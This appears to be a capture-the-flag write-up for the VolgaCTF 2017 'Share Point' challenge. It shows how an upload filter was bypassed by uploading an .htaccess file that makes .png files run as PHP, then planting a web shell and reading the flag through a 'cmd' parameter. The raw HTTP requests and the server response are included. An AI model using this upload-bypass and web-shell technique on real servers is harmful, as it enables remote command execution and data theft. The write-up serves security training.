# Share Point - 200Problem:```Look! I wrote a good service for sharing your files with your friends, enjoy)share-point.quals.2017.volgactf.ru```When I browsed to the web I found login page which could login with any user but you have to specify the password.![login page](kapi-images/Loginpage.JPG)
I found page that I could upload any file but not with php or html file.![upload page](kapi-images/uploadphpfail.JPG)
I've tried hard but it could not be bypassed file extension checking.
I've come up with another method by uploading .htaccess. I modify .htaccess to handling .png like .php file.The following was content of .htaccess:```AddType application/x-httpd-php .png```
and then upload the .htaccess file.![upload htaccess](kapi-images/uploadhtaccess.JPG)
When I uploaded .png file the server will treat the .png file like .php file.
I upload .png file with malicious shell command.```POST /upload.php HTTP/1.1Host: share-point.quals.2017.volgactf.ruUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://share-point.quals.2017.volgactf.ru/upload.phpContent-Length: 221Content-Type: multipart/form-data; boundary=---------------------------15359717221864Cookie: PHPSESSID=na403i0vkb1tkf0fd4d3iclg04DNT: 1Connection: close
-----------------------------15359717221864Content-Disposition: form-data; name="userFile"; filename="zion.png"Content-Type: image/png
-----------------------------15359717221864--```
Then browse to zion.png and execute commands to find and grab the flag.```GET /files/kapi/zion.png?cmd=cat%20/opt/flag.txt HTTP/1.1Host: share-point.quals.2017.volgactf.ruUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCookie: PHPSESSID=na403i0vkb1tkf0fd4d3iclg04DNT: 1Connection: closeUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKDate: Mon, 27 Mar 2017 07:03:54 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 51Connection: closeContent-Type: text/html; charset=UTF-8
VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}```
The flag was:* VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}